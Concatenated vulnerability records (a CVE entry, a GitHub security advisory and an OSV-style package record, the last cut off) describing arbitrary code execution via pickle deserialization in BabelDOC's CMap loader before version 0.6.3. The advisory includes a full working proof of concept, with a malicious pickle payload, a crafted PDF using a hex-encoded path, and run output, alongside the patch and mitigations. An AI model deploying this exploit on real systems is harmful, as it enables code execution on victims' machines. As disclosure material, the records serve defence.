{
  "affected": [
    {
      "affectedData": [
        {
          "product": "BabelDOC",
          "vendor": "funstory-ai",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 0.6.3"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "BabelDOC is a document translation tool. Prior to 0.6.3, BabelDOC\u0027s vendored PDF parser in babeldoc/pdfminer/cmapdb.py deserializes untrusted pickle data when CMapDB._load_data() loads CMap files. PDF-controlled Encoding or CMapName values and embedded PostScript usecmap operators can reach this sink after path separators are decoded, while _normalize_cmap_name() removes only a leading slash. Absolute paths or traversal sequences can escape the trusted CMap directories through os.path.join(), select an attacker-writable .pickle.gz file, and cause pickle.loads() to execute arbitrary Python code with the privileges of the BabelDOC process. This issue is fixed in version 0.6.3."
    },
    {
      "lang": "es",
      "value": "BabelDOC es una herramienta de traducci\u00f3n de documentos. Antes de la versi\u00f3n 0.6.3, el analizador de PDF incluido de BabelDOC en babeldoc/pdfminer/cmapdb.py deserializa datos pickle no confiables cuando CMapDB._load_data() carga archivos CMap. Valores de Encoding o CMapName controlados por PDF y operadores usecmap de PostScript incrustados pueden alcanzar este sumidero despu\u00e9s de que los separadores de ruta son decodificados, mientras que _normalize_cmap_name() elimina solo una barra inicial. Rutas absolutas o secuencias de recorrido pueden escapar de los directorios CMap confiables a trav\u00e9s de os.path.join(), seleccionar un archivo .pickle.gz escribible por el atacante y hacer que pickle.loads() ejecute c\u00f3digo Python arbitrario con los privilegios del proceso de BabelDOC. Este problema est\u00e1 corregido en la versi\u00f3n 0.6.3."
    }
  ],
  "id": "CVE-2026-54071",
  "lastModified": "2026-10-14T19:10:00.297",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "LOCAL",
          "availabilityImpact": "HIGH",
          "baseScore": 7.8,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "REQUIRED",
          "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 1.8,
        "impactScore": 5.9,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-54071",
          "options": [
            {
              "exploitation": "none"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "total"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-08-21T21:00:08.745343Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-08-21T19:17:02.720",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/funstory-ai/BabelDOC/blob/main/docs/release-notes/v0.6.3.md"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/funstory-ai/BabelDOC/commit/28f784ca6b437dbba040bfd9c67110373cd0924b"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/funstory-ai/BabelDOC/releases/tag/v0.6.3"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/funstory-ai/BabelDOC/security/advisories/GHSA-m8gf-v64p-gfmg"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Deferred",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-502"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.6.2"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "BabelDOC"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.6.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54071"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-10T19:32:44Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Arbitrary Code Execution via CMap Pickle Deserialization in babeldoc/pdfminer/cmapdb.py\n\n### Summary\n\nBabelDOC\u0027s vendored PDF parser (`babeldoc/pdfminer/cmapdb.py`) deserializes untrusted pickle data when loading CMap files. The `_load_data()` method strips only NUL bytes from a PDF-controlled CMap name, then passes it directly to `os.path.join()` and `pickle.loads()`. Because Python\u0027s `os.path.join()` discards all preceding path components when it encounters an absolute path segment, an attacker who embeds a hex-encoded absolute path in a crafted PDF\u0027s `/Encoding` name (e.g., `/#2Ftmp#2Fattacker#2Fevil`) can redirect deserialization to any attacker-writable `.pickle.gz` file on the local system. Processing such a PDF results in arbitrary Python code execution with the privileges of the BabelDOC process.\n\n### Details\n\nThe vulnerable function is `CMapDB._load_data()` at `babeldoc/pdfminer/cmapdb.py:232\u2013245`:\n\n```python\n@classmethod\ndef _load_data(cls, name: str) -\u003e Any:\n    name = name.replace(\"\\0\", \"\")          # line 233 \u2014 only NUL is stripped\n    filename = \"%s.pickle.gz\" % name       # line 234 \u2014 attacker-controlled string\n    ...\n    for directory in cmap_paths:\n        path = os.path.join(directory, filename)   # line 241 \u2014 no realpath/canonical check\n        if os.path.exists(path):\n            gzfile = gzip.open(path)\n            try:\n                return type(str(name), (), pickle.loads(gzfile.read()))  # line 245 \u2014 unconditional pickle\n```\n\n**Path injection via PDF name hex-encoding.** The PDF specification allows name objects to encode arbitrary bytes as `#xx`. The pdfminer literal-name parser (`psparser._parse_literal_hex`) decodes these sequences before handing the string to higher layers. Consequently, the PDF literal `/#2Ftmp#2Fattacker#2Fevil` is decoded to the Python string `/tmp/attacker/evil`.\n\n**Python `os.path.join()` absolute-path override.** When the decoded name starts with `/` (i.e., it is an absolute path), Python\u0027s `os.path.join(directory, name + \".pickle.gz\")` ignores `directory` entirely and returns the absolute path unchanged. The trusted `cmap_paths` directories (`/usr/share/pdfminer/`, the package\u0027s own `cmap/` folder) are therefore completely bypassed.\n\n**Data flow from PDF to sink:**\n\n1. `babeldoc/main.py:611\u2013622` \u2014 CLI accepts a PDF path; only existence and `.pdf` suffix are checked.\n2. `babeldoc/main.py:678\u2013679` \u2014 path stored in `TranslationConfig(input_file=file)`.\n3. `babeldoc/format/pdf/high_level.py:472\u2013488` \u2014 `translation_config.input_file` enters the translate pipeline.\n4. `babeldoc/format/pdf/high_level.py:805\u2013848` \u2014 PDF saved to `temp_pdf_path` and parsed with `parse_prepared_pdf_with_new_parser_to_legacy_ir`.\n5. `babeldoc/format/pdf/new_parser/native_parse.py:60\u201370` \u2014 prepared pages loaded and interpreted.\n6. `babeldoc/format/pdf/new_parser/pymupdf_prepared_page_access.py:25\u201334` \u2014 PyMuPDF opens the PDF and builds page resources.\n7. `babeldoc/format/pdf/new_parser/prepared_resource_builder.py:84\u201394` \u2014 font resources converted to `PreparedFontSpec`.\n8. `babeldoc/format/pdf/new_parser/active_font_resource_runtime.py:21\u201335` \u2014 page resource bundle resolves root font map.\n9. `babeldoc/format/pdf/new_parser/active_font_runtime.py:79\u201387` \u2014 each font spec projected and passed to `font_factory.create_font`.\n10. `babeldoc/format/pdf/new_parser/active_direct_font_backend.py:291\u2013292, 491\u2013493` \u2014 CID fonts call `build_cid_cmap(spec, literal_name=literal_name)`.\n11. `babeldoc/format/pdf/new_parser/runtime/cid_cmap_runtime.py:52\u201377` \u2014 PDF-controlled `/Encoding`/`CMapName` normalized and passed to `CMapDB.get_cmap`. `_normalize_cmap_name()` removes only a single leading `/`; all other path characters pass through.\n12. `babeldoc/pdfminer/cmapdb.py:233\u2013245` \u2014 **sink**: NUL-stripped name used verbatim to construct the path; file opened with gzip and deserialized with `pickle.loads()`.\n\n**Sanitization gaps:**\n\n- `name.replace(\"\\0\", \"\")` removes only the NUL byte; `..`, `/`, `\\`, and hex-decoded path separators are unaffected.\n- There is no `os.path.realpath()`, `os.path.abspath()`, or `os.path.commonpath()` containment check before the file is opened.\n- There is no allowlist of known CMap names nor any integrity verification of the pickle data.\n\n**Recommended patch** (`babeldoc/pdfminer/cmapdb.py`):\n\n```diff\n--- a/babeldoc/pdfminer/cmapdb.py\n+++ b/babeldoc/pdfminer/cmapdb.py\n@@\n         cmap_paths = (\n             os.environ.get(\"CMAP_PATH\", \"/usr/share/pdfminer/\"),\n             os.path.join(os.path.dirname(__file__), \"cmap\"),\n         )\n         for directory in cmap_paths:\n-            path = os.path.join(directory, filename)\n+            base_dir = os.path.realpath(directory)\n+            path = os.path.realpath(os.path.join(base_dir, filename))\n+            try:\n+                if os.path.commonpath([base_dir, path]) != base_dir:\n+                    continue\n+            except ValueError:\n+                continue\n             if os.path.exists(path):\n                 gzfile = gzip.open(path)\n```\n\nA more complete fix replaces the pickle-backed CMap loader with a signed or static data format (e.g., JSON or generated Python modules) that does not carry executable code.\n\n### PoC\n\n**Environment setup (Docker \u2014 recommended for isolation):**\n\n```bash\n# From the repository root\ndocker build -t vuln-001-babeldoc-cmap -f vuln-001/Dockerfile .\ndocker run --rm vuln-001-babeldoc-cmap\n```\n\n**Manual setup (local venv):**\n\n```bash\npython3 -m venv /tmp/babeldoc-poc-venv\nsource /tmp/babeldoc-poc-venv/bin/activate\npip install freetype-py==2.5.1 charset-normalizer cryptography\nexport PYTHONPATH=/path/to/BabelDOC\npython3 poc.py\n```\n\n**PoC script (`poc.py`) \u2014 key steps:**\n\n```python\nimport gzip, pathlib, pickle, sys\n\nCMAP_STAGING_DIR = pathlib.Path(\"/tmp/babeldoc-cmap-poc\")\nMALICIOUS_PICKLE = CMAP_STAGING_DIR / \"malicious.pickle.gz\"\nMALICIOUS_PDF    = CMAP_STAGING_DIR / \"malicious.pdf\"\nPROOF_FILE       = pathlib.Path(\"/tmp/babeldoc_cmap_rce_proof.txt\")\n\n# Step 1 \u2014 write the malicious pickle to a world-writable location\nclass MaliciousPayload:\n    def __reduce__(self):\n        return (pathlib.Path(str(PROOF_FILE)).write_text,\n                (\"RCE_CONFIRMED: pickle.loads executed attacker payload\",))\n\nCMAP_STAGING_DIR.mkdir(parents=True, exist_ok=True)\nwith gzip.open(MALICIOUS_PICKLE, \"wb\") as fh:\n    pickle.dump(MaliciousPayload(), fh)\n\n# Step 2 \u2014 craft a PDF whose /Encoding name hex-encodes the absolute path\n# \"/#2Ftmp#2Fbabeldoc-cmap-poc#2Fmalicious\" decodes to \"/tmp/babeldoc-cmap-poc/malicious\"\nencoding_name = b\"/#2Ftmp#2Fbabeldoc-cmap-poc#2Fmalicious\"\n\n# ... (minimal PDF structure with a Type0 CID font referencing encoding_name) ...\n# Full source in poc.py\n\n# Step 3 \u2014 trigger via the pdfminer high-level API\nfrom babeldoc.pdfminer.high_level import extract_text\ntry:\n    extract_text(str(MALICIOUS_PDF))\nexcept TypeError:\n    pass  # expected: type(name, (), \u003cint\u003e) fails after write_text returns int\n\n# Step 4 \u2014 verify\nassert PROOF_FILE.exists(), \"FAIL: proof file not created\"\nprint(PROOF_FILE.read_text())  # =\u003e \"RCE_CONFIRMED: pickle.loads executed attacker payload\"\n```\n\n**Phase 2 dynamic reproduction output (Docker container):**\n\n```\n[+] Malicious pickle written: /tmp/babeldoc-cmap-poc/malicious.pickle.gz\n[+] Malicious PDF written: /tmp/babeldoc-cmap-poc/malicious.pdf\n[*] Calling extract_text(/tmp/babeldoc-cmap-poc/malicious.pdf) ...\n[*] extract_text raised TypeError: type.__new__() argument 3 must be dict, not int\n[*] This exception is expected; the payload ran before it.\n\n============================================================\nRESULT: PASS\nProof file: /tmp/babeldoc_cmap_rce_proof.txt\nContent:    \u0027RCE_CONFIRMED: pickle.loads executed attacker payload\u0027\n============================================================\n```\n\nThe `TypeError` is benign and expected: `write_text()` returns an integer, and the subsequent `type(name, (), \u003cint\u003e)` call in `_load_data()` raises before reaching further code. The payload already executed successfully at that point.\n\n**Attack path summary:**\n\n```\nPDF /Encoding  /#2Ftmp#2Fbabeldoc-cmap-poc#2Fmalicious\n  -\u003e pdfminer hex-decodes #2F -\u003e \u0027/\u0027\n  -\u003e literal_name = \"/tmp/babeldoc-cmap-poc/malicious\"\n  -\u003e CMapDB._load_data(\"/tmp/babeldoc-cmap-poc/malicious\")\n  -\u003e filename = \"/tmp/babeldoc-cmap-poc/malicious.pickle.gz\"   # absolute path!\n  -\u003e os.path.join(\"/usr/share/pdfminer/\", \"/tmp/.../malicious.pickle.gz\")\n     == \"/tmp/babeldoc-cmap-poc/malicious.pickle.gz\"           # first arg discarded\n  -\u003e gzip.open() + pickle.loads() -\u003e arbitrary code execution\n```\n\n### Impact\n\nThis is an **Arbitrary Code Execution** vulnerability triggered by processing a crafted PDF file. Any user or automated pipeline that runs BabelDOC against untrusted PDF input is at risk.\n\n**Who is impacted:**\n\n- **End users** who open a malicious PDF with the `babeldoc` CLI or any application embedding BabelDOC\u0027s PDF translation/text-extraction functionality.\n- **Automated document processing pipelines** (CI translation services, document management systems, cloud PDF processors) that ingest user-supplied PDFs without sandboxing.\n\n**Attack prerequisites:**\n\n1. The attacker must be able to place a `.pickle.gz` file at a predictable path on the local filesystem (e.g., `/tmp/`), or exploit a shared world-writable directory. On Windows systems, UNC/WebDAV paths may provide a remote staging alternative.\n2. The victim must process the crafted PDF through BabelDOC. No elevated privileges or special configuration is required \u2014 default PDF processing is the vulnerable code path.\n\n**Scope:** The attack crosses security boundaries (e.g., a lower-privileged attacker influencing files processed by a different user\u0027s process), justifying the **Changed** scope in the CVSS vector and potential lateral movement between users on multi-user systems.\n\n**Consequences:** Full code execution with the victim process\u0027s privileges \u2014 confidentiality breach, data modification, denial of service, and potential privilege escalation depending on the deployment context.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\nFROM python:3.11-slim\n\n# Install system-level dependencies for freetype\nRUN apt-get update \u0026\u0026 apt-get install -y --no-install-recommends \\\n    libfreetype6 \\\n    \u0026\u0026 rm -rf /var/lib/apt/lists/*\n\n# Install minimal Python dependencies required by babeldoc/pdfminer\nRUN pip install --no-cache-dir \\\n    freetype-py==2.5.1 \\\n    charset-normalizer \\\n    cryptography\n\n# Copy the BabelDOC repository (only babeldoc package directory is needed)\nCOPY repo/babeldoc /app/babeldoc\n\n# Copy the PoC script\nCOPY vuln-001/poc.py /app/poc.py\n\nWORKDIR /app\n\n# PYTHONPATH exposes babeldoc package without a full pip install\nENV PYTHONPATH=/app\n\nCMD [\"python3\", \"poc.py\"]\n```\n\n#### `poc.py`\n\n```python\n\"\"\"\nPoC: CMap Pickle Deserialization via Absolute Path Injection\nCVE Candidate: VULN-001 in funstory-ai/BabelDOC v0.6.2\n\nVulnerability: babeldoc/pdfminer/cmapdb.py _load_data() only strips NUL bytes\nfrom the CMap name before building a filesystem path.  A PDF name object\nusing #xx hex-encoding can inject absolute path characters (/) so that\nos.path.join() discards the trusted cmap directory entirely, opening and\nunpickling an attacker-placed .pickle.gz file.\n\nAttack flow:\n  PDF /Encoding  /#2Ftmp#2F...#2Fmalicious\n    -\u003e pdfminer hex-decodes #2F -\u003e \u0027/\u0027\n    -\u003e literal_name() returns \"/tmp/.../malicious\"\n    -\u003e _load_data(\"/tmp/.../malicious\")\n    -\u003e filename = \"/tmp/.../malicious.pickle.gz\"   (absolute path!)\n    -\u003e os.path.join(\"/usr/share/pdfminer/\", \"/tmp/.../malicious.pickle.gz\")\n       == \"/tmp/.../malicious.pickle.gz\"            (Python discards first arg)\n    -\u003e gzip.open() + pickle.loads() =\u003e arbitrary code execution\n\"\"\"\n\nimport gzip\nimport os\nimport pathlib\nimport pickle\nimport sys\n\n# ---------------------------------------------------------------------------\n# Configuration\n# ---------------------------------------------------------------------------\nCMAP_STAGING_DIR = pathlib.Path(\"/tmp/babeldoc-cmap-poc\")\nMALICIOUS_PICKLE = CMAP_STAGING_DIR / \"malicious.pickle.gz\"\nMALICIOUS_PDF = CMAP_STAGING_DIR / \"malicious.pdf\"\nPROOF_FILE = pathlib.Path(\"/tmp/babeldoc_cmap_rce_proof.txt\")\n\n\n# ---------------------------------------------------------------------------\n# Step 1: Build the malicious pickle payload\n# ---------------------------------------------------------------------------\nclass MaliciousPayload:\n    \"\"\"Pickle payload that writes a proof file on deserialization.\"\"\"\n\n    def __reduce__(self):\n        # Write proof file when unpickled; any writable command works here.\n        return (\n            pathlib.Path(str(PROOF_FILE)).write_text,\n            (\"RCE_CONFIRMED: pickle.loads executed attacker payload\",),\n        )\n\n\ndef create_malicious_pickle():\n    CMAP_STAGING_DIR.mkdir(parents=True, exist_ok=True)\n    PROOF_FILE.unlink(missing_ok=True)\n\n    with gzip.open(MALICIOUS_PICKLE, \"wb\") as fh:\n        pickle.dump(MaliciousPayload(), fh)\n\n    print(f\"[+] Malicious pickle written: {MALICIOUS_PICKLE}\")\n\n\n# ---------------------------------------------------------------------------\n# Step 2: Build the malicious PDF\n# ---------------------------------------------------------------------------\ndef create_malicious_pdf():\n    \"\"\"\n    Craft a minimal PDF with a Type0 CID font whose /Encoding name is a\n    PDF literal that hex-encodes an absolute Unix path.\n\n    PDF name syntax: /\u003ccharacters\u003e  where #xx is hex escape for byte 0xxx.\n    \"/#2Ftmp#2Fbabeldoc-cmap-poc#2Fmalicious\" decodes to the name value\n    \"/tmp/babeldoc-cmap-poc/malicious\" (starts with \u0027/\u0027).\n\n    When passed through babeldoc/pdfminer:\n      literal_name(PSLiteral) -\u003e \"/tmp/babeldoc-cmap-poc/malicious\"\n      _load_data()  -\u003e filename = \"/tmp/babeldoc-cmap-poc/malicious.pickle.gz\"\n      os.path.join(\"/usr/share/pdfminer/\", \"/tmp/.../malicious.pickle.gz\")\n        =\u003e \"/tmp/babeldoc-cmap-poc/malicious.pickle.gz\"  (absolute wins!)\n    \"\"\"\n    # Hex-encoded encoding name: /tmp/babeldoc-cmap-poc/malicious\n    # \u0027#2F\u0027 = \u0027/\u0027 in PDF name hex encoding\n    encoding_name = b\"/#2Ftmp#2Fbabeldoc-cmap-poc#2Fmalicious\"\n\n    content_stream = b\"BT\\n/F1 12 Tf\\n100 700 Td\\n(Malicious PDF) Tj\\nET\\n\"\n\n    # PDF objects (1-indexed)\n    objs = [\n        # 1: Catalog\n        b\"\u003c\u003c /Type /Catalog /Pages 2 0 R \u003e\u003e\",\n        # 2: Pages\n        b\"\u003c\u003c /Type /Pages /Kids [3 0 R] /Count 1 \u003e\u003e\",\n        # 3: Page - references content stream (4) and font (5)\n        b\"\u003c\u003c /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792]\"\n        b\" /Contents 4 0 R /Resources \u003c\u003c /Font \u003c\u003c /F1 5 0 R \u003e\u003e \u003e\u003e \u003e\u003e\",\n        # 4: Content stream\n        b\"\u003c\u003c /Length %d \u003e\u003e\\nstream\\n\" % len(content_stream)\n        + content_stream\n        + b\"\\nendstream\",\n        # 5: Type0 font with malicious /Encoding name\n        b\"\u003c\u003c /Type /Font /Subtype /Type0 /BaseFont /MalFont\"\n        b\" /Encoding \" + encoding_name + b\"\"\n        b\" /DescendantFonts [6 0 R] \u003e\u003e\",\n        # 6: CIDFontType2 descendant\n        b\"\u003c\u003c /Type /Font /Subtype /CIDFontType2 /BaseFont /MalFont\"\n        b\" /CIDSystemInfo \u003c\u003c /Registry (Adobe) /Ordering (Identity)\"\n        b\" /Supplement 0 \u003e\u003e /FontDescriptor 7 0 R \u003e\u003e\",\n        # 7: FontDescriptor (minimal)\n        b\"\u003c\u003c /Type /FontDescriptor /FontName /MalFont /Flags 4\"\n        b\" /FontBBox [-1000 -1000 1000 1000] /ItalicAngle 0\"\n        b\" /Ascent 1000 /Descent -200 /CapHeight 800 /StemV 80 \u003e\u003e\",\n    ]\n\n    buf = bytearray(b\"%PDF-1.4\\n\")\n    offsets = []\n    for i, obj_data in enumerate(objs, 1):\n        offsets.append(len(buf))\n        buf += f\"{i} 0 obj\\n\".encode() + obj_data + b\"\\nendobj\\n\"\n\n    xref_offset = len(buf)\n    buf += f\"xref\\n0 {len(objs) + 1}\\n0000000000 65535 f \\n\".encode()\n    for off in offsets:\n        buf += f\"{off:010d} 00000 n \\n\".encode()\n    buf += (\n        f\"trailer\\n\u003c\u003c /Size {len(objs) + 1} /Root 1 0 R \u003e\u003e\\n\"\n        f\"startxref\\n{xref_offset}\\n%%EOF\\n\"\n    ).encode()\n\n    MALICIOUS_PDF.write_bytes(bytes(buf))\n    print(f\"[+] Malicious PDF written: {MALICIOUS_PDF}\")\n\n\n# ---------------------------------------------------------------------------\n# Step 3: Trigger the vulnerability via babeldoc pdfminer extract_text\n# ---------------------------------------------------------------------------\ndef trigger_exploit():\n    from babeldoc.pdfminer.high_level import extract_text\n\n    print(f\"[*] Calling extract_text({MALICIOUS_PDF}) ...\")\n    try:\n        result = extract_text(str(MALICIOUS_PDF))\n        print(f\"[+] extract_text completed, returned {len(result)} chars\")\n    except Exception as exc:\n        # A TypeError is expected: after pickle.loads() returns the result of\n        # write_text() (an int), the code tries type(name, (), \u003cint\u003e) which\n        # raises TypeError.  The write has already happened at this point.\n        print(f\"[*] extract_text raised {type(exc).__name__}: {exc}\")\n        print(\"[*] This exception is expected; the payload ran before it.\")\n\n\n# ---------------------------------------------------------------------------\n# Step 4: Verify RCE evidence\n# ---------------------------------------------------------------------------\ndef verify_rce():\n    if PROOF_FILE.exists():\n        content = PROOF_FILE.read_text()\n        print()\n        print(\"=\" * 60)\n        print(\"RESULT: PASS\")\n        print(f\"Proof file: {PROOF_FILE}\")\n        print(f\"Content:    {content!r}\")\n        print(\"=\" * 60)\n        return True\n    else:\n        print()\n        print(\"=\" * 60)\n        print(\"RESULT: FAIL\")\n        print(f\"Proof file {PROOF_FILE} was NOT created.\")\n        print(\"=\" * 60)\n        return False\n\n\n# ---------------------------------------------------------------------------\n# Main\n# ---------------------------------------------------------------------------\ndef main():\n    print(\"=== VULN-001 PoC: CMap Pickle Deserialization via Path Injection ===\")\n    print(f\"Python: {sys.version}\")\n    print()\n\n    create_malicious_pickle()\n    create_malicious_pdf()\n    trigger_exploit()\n    success = verify_rce()\n\n    sys.exit(0 if success else 1)\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\n---\n\n## Notes from the maintainer\n\n### CVSS revision note\n\nThe CVSS v3.1 vector has been revised from the reporter\u0027s initial\n`CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H` (8.6) to\n`CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H` (7.8) on maintainer\nreview. The severity rating remains **High**.\n\nOne metric is revised; the remaining metrics (`AV:L`, `AC:L`, `PR:N`,\n`UI:R`, `C:H/I:H/A:H`) are unchanged from the reporter\u0027s assessment.\n\n- **Scope: Changed \u2192 Unchanged.** BabelDOC is a PDF-processing\n  library running with the caller process\u0027s operating-system\n  permissions; it does not enforce a separate security authority over\n  OS files, users, or downstream services. The malicious pickle\n  payload executes in that same BabelDOC Python process. Under CVSS\n  v3.1, this is Scope Unchanged: the vulnerable component and the\n  impacted component are governed by the same authority. No sandbox,\n  VM, browser-client, or application-defined authorization boundary\n  is crossed.\n\nThe remaining metrics are retained intentionally:\n\n- `AV:L`, `PR:N`, `UI:R`: the attack requires local presence of\n  attacker-influenced data (consistent with `AV:L`), does not require\n  authenticated access to BabelDOC itself (`PR:N`), and depends on a\n  user actually processing the crafted PDF (`UI:R`).\n- `AC:L`: kept aligned with industry practice for CWE-502\n  deserialization issues; once the supporting filesystem condition\n  exists, the same-process exploitation path is consistent and\n  repeatable.\n- `C:H`, `I:H`, `A:H`: full code-execution impact within the\n  BabelDOC process.\n\nWe thank EQSTLab for the detailed report and PoC; this revision is\nlimited to CVSS metric interpretation, and the issue remains High\nseverity when exploitable.\n\n### Full sink coverage (2 independently exploitable PDF paths + 2 defense-in-depth call sites)\n\nThe original report covers entry point (1): the `Encoding` / `CMapName`\nfont dictionary path, with absolute-path injection. Local review during\npatch preparation identified that the same `_load_data` sink is reached\nfrom one additional independently exploitable PDF-controlled path and\ntwo prefixed call sites covered at the sink for defense in depth:\n\n1. `Encoding` / `CMapName` references in a font dictionary\n   *(reported entry; absolute-path injection per the upstream report,\n   `..` relative traversal also exploitable)*\n2. The PostScript `usecmap` operator inside an embedded CMap stream\n   *(independently exploitable via `..` relative traversal; not in the\n   original report)*\n3. `CIDSystemInfo.Ordering` flowing through `get_unicode_map` in the\n   legacy pdfminer pipeline\n4. `CIDSystemInfo.Ordering` flowing through `get_unicode_map` in the\n   active new-parser pipeline\n\nCall sites (3) and (4) were not reproduced as standalone PDF-only\nexploit paths in v0.6.x. The `get_unicode_map` caller prepends a\n`to-unicode-` prefix to the PDF-controlled name, which breaks\nabsolute-path injection and means `..` traversal would require an\nadditional crafted directory layout such as a `to-unicode-*`\ncomponent under a CMap search location. The 0.6.3 sink-level fix\nstill covers these call sites, so future removal of the prefix or\na future unprefixed caller remains blocked.\n\n### Fix design\n\nThe runtime CMap loader in 0.6.3 refuses to deserialize any file that\ndoes not simultaneously:\n\n1. appear in a pinned manifest of bundled CMap filenames (allowlist),\n2. resolve inside the bundled `runtime/data/cmap` directory after path\n   resolution (containment check), and\n3. byte-for-byte match the manifest\u0027s pinned byte size and SHA-256.\n\nThe integrity check runs on the compressed on-disk `.gz` bytes before\ndecompression, so files whose compressed size or SHA-256 differs from\nthe pinned manifest are rejected before `gzip` or `pickle` sees them.\nThe legacy `CMAP_PATH` external search path is removed entirely; only\nthe bundled directory is consulted. The active new-parser pipeline\nand the vendored pdfminer pipeline share the same verified-load entry\npoint.\n\n### Related hardening shipped in 0.6.3\n\nA separate hardening in the same release sanitizes PDF-controlled\nXObject names before they reach the optional `ImageWriter` output\npath, preventing PDF-driven writes outside the configured output\ndirectory. This is separate from BabelDOC\u0027s default translation\npipeline: the optional `ImageWriter` is not used by default and is\nonly reachable when a third-party caller passes an explicit\n`output_dir`. It is included here for completeness.\n\n### Risk reduction if you cannot upgrade immediately\n\nThese steps reduce known exploit preconditions on pre-0.6.3 versions;\nthey are not equivalent to the 0.6.3 fix.\n\n- Do not set the `CMAP_PATH` environment variable when running\n  BabelDOC. 0.6.3 removes this variable entirely; on pre-0.6.3\n  versions, unsetting it limits the attack surface to the bundled\n  cmap directory under the BabelDOC package.\n- Run BabelDOC under an account that cannot create files in any\n  directory BabelDOC will read CMap data from, including any\n  pre-0.6.3 `CMAP_PATH` target.\n- Process only PDFs from trusted sources until upgrading.\n\n### Maintenance policy\n\nBabelDOC publishes security fixes only in the latest release. We do\nnot publish maintainer-supported backports for older minor, patch, or\nrelease lines. For this advisory, the maintainer-supported fixed\nversion is 0.6.3 or later; downstream distributors may carry their\nown patches, but older BabelDOC releases will not receive a separate\nupstream backport.\n\n### Acknowledgements\n\nWe thank **EQSTLab** for the detailed private report, complete\nreproduction material, and coordinated-disclosure cooperation that\nallowed this fix to be prepared and released before public\ndisclosure.\n\n### Timeline\n\n- 2026-06-03 04:34 UTC: EQSTLab opens the private advisory draft and\n  notifies maintainers\n- 2026-06-03 09:21 UTC: BabelDOC 0.6.3 released with the fix\n- 2026-06-03 09:50 UTC: this advisory published\n- TBD: CVE identifier assigned (pending GitHub CNA review; GitHub\n  documentation says CVE requests are usually reviewed within 72\n  hours)\n\n### References\n\n- BabelDOC 0.6.3 release notes:\n  https://github.com/funstory-ai/BabelDOC/blob/main/docs/release-notes/v0.6.3.md\n- CVE: TBD (pending CNA assignment)",
  "id": "GHSA-m8gf-v64p-gfmg",
  "modified": "2026-07-10T19:32:44Z",
  "published": "2026-07-10T19:32:44Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/funstory-ai/BabelDOC/security/advisories/GHSA-m8gf-v64p-gfmg"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/funstory-ai/BabelDOC"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "BabelDOC: Arbitrary Code Execution via CMap Pickle Deserialization in babeldoc/pdfminer/cmapdb.py"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "babeldoc",
        "purl": "pkg:pypi/babeldoc"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.6.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "0.1.10",
        "0.1.11",
        "0.1.12",
        "0.1.13",
        "0.1.14",
        "0.1.15",
        "0.1.16",
        "0.1.17",
        "0.1.18",
        "0.1.19",
        "0.1.20",
        "0.1.21",
        "0.1.22",
        "0.1.23",
        "0.1.24",
        "0.1.25",
        "0.1.26",
        "0.1.27",
        "0.1.28",
        "0.1.29",
        "0.1.30",
        "0.1.31",
        "0.1.32",
        "0.1.6",
        "0.1.6rc0",
        "0.1.7",
        "0.1.8",
        "0.1.9",
        "0.2.0",
        "0.2.1",
        "0.2.10",
        "0.2.11",
        "0.2.12",
        "0.2.13",
        "0.2.14",
        "0.2.15",
        "0.2.16",
        "0.2.17",
        "0.2.18",
        "0.2.19",
        "0.2.2",
        "0.2.20",
        "0.2.21",
        "0.2.22",
        "0.2.23",
        "0.2.24",
        "0.2.25",
        "0.2.26",
        "0.2.27",
        "0.2.28",
        "0.2.29",
        "0.2.3",
        "0.2.30",
        "0.2.31",
        "0.2.32",
        "0.2.33",
        "0.2.4",
        "0.2.5",
        "0.2.6",
        "0.2.7",
        "0.2.8",
        "0.2.9",
        "0.3.0",
        "0.3.1",
        "0.3.10",
        "0.3.11",
